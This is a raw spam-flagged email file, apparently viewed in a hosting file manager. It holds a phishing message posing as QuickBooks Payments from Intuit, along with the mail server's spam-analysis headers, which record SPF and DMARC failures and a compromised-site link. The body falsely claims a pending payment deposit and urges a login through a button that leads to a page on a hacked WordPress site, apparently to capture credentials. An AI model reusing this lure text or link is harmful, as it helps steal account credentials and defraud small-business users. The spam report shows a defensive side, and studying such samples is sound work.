Google
Edit File: 1775518018.M46191P308102.server-619288.prediksijaya.com,S=9853,W=10015
Return-Path: <intuit.alerts@intuit.com> Delivered-To: angker+spam@server-619288.prediksijaya.com Received: from server-619288.prediksijaya.com by server-619288.prediksijaya.com with LMTP id KfmdAkJB1GmGswQAf7/9AQ (envelope-from <intuit.alerts@intuit.com>) for <angker+spam@server-619288.prediksijaya.com>; Tue, 07 Apr 2026 06:26:58 +0700 Return-path: <intuit.alerts@intuit.com> Envelope-to: winbr@ponjosonek.com Delivery-date: Tue, 07 Apr 2026 06:26:58 +0700 Received: from [41.228.170.43] (port=51731 helo=intuit.com) by server-619288.prediksijaya.com with esmtp (Exim 4.99.1) (envelope-from <intuit.alerts@intuit.com>) id 1w9tLL-00000001I58-1Vn8 for winbr@ponjosonek.com; Tue, 07 Apr 2026 06:26:57 +0700 From: "QuickBooks Payments" <intuit.alerts@intuit.com> To: winbr@ponjosonek.com Date: 07 Apr 2026 01:26:09 +0200 Message-ID: <20260407012607.958EA0EAEF07788E@intuit.com> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0012_97C2BAB9.DB27D195" X-Spam-Status: Yes, score=27.3 X-Spam-Score: 273 X-Spam-Bar: +++++++++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "server-619288.prediksijaya.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: You have a pending payment deposit. Login to Intuit to categorize deposits and manually record your payments. Content analysis details: (27.3 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.5 RCVD_IN_HOSTKARMA_BR RBL: Sender listed in HOSTKARMA-BROWN [41.228.170.43 listed in hostkarma.junkemailfilter.com] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [41.228.170.43 listed in bl.score.senderscore.com] 2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL [41.228.170.43 listed in psbl.surriel.com] 0.0 RCVD_IN_DNSWL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to DNSWL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block for more information. [41.228.170.43 listed in list.dnswl.org] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: cistech.co.za] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [41.228.170.43 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [41.228.170.43 listed in sa-trusted.bondedsender.org] 4.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail) [SPF failed: Rejected by SPF record.] 4.0 SPF_FAIL SPF: sender does not match SPF record (fail) [SPF failed: Rejected by SPF record.] 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 3.0 KAM_DMARC_REJECT DKIM has Failed or SPF has failed on the message and the domain has a DMARC reject policy 0.0 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 1.0 HTML_IMAGE_ONLY_08 BODY: HTML: images with 400-800 bytes of words 0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.0 HTML_MESSAGE BODY: HTML included in message 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 3.0 KAM_GRABBAG7 Spam pattern with bad HTML message 2.0 MIXED_HREF_CASE Has href in mixed case 5.0 URI_WP_HACKED URI for compromised WordPress site, possible malware 0.0 T_REMOTE_IMAGE Message contains an external image X-Spam-Flag: YES Subject: Payments Deposit ------=_NextPart_000_0012_97C2BAB9.DB27D195 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable </head> <body><P><img class=3D"rg_i Q4LuWd" alt=3D"Katana x QuickBooks Inte= gration" src=3D"cid:images" width=3D"255" height=3D"99" data-noaft=3D"1" da= ta-index=3D"0"></P><BR> <BR><BR>You have a pending payment deposit.<BR><BR= >Login to Intuit to categorize deposits and manually record your payments.<= BR><BR> <A href=3D"https://mychina.cistech.co.za/wp-content/red/wx.htm">PAY= MENT DEPOSIT</A><BR> <P><BR>Thank You,<BR>Intuit Team</P></BODY></HTML> ------=_NextPart_000_0012_97C2BAB9.DB27D195 Content-Type: application/octet-stream; name="images" Content-Transfer-Encoding: base64 Content-ID: <images> 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 AZB52u4e5k6hAAAAAElFTkSuQmCC ------=_NextPart_000_0012_97C2BAB9.DB27D195--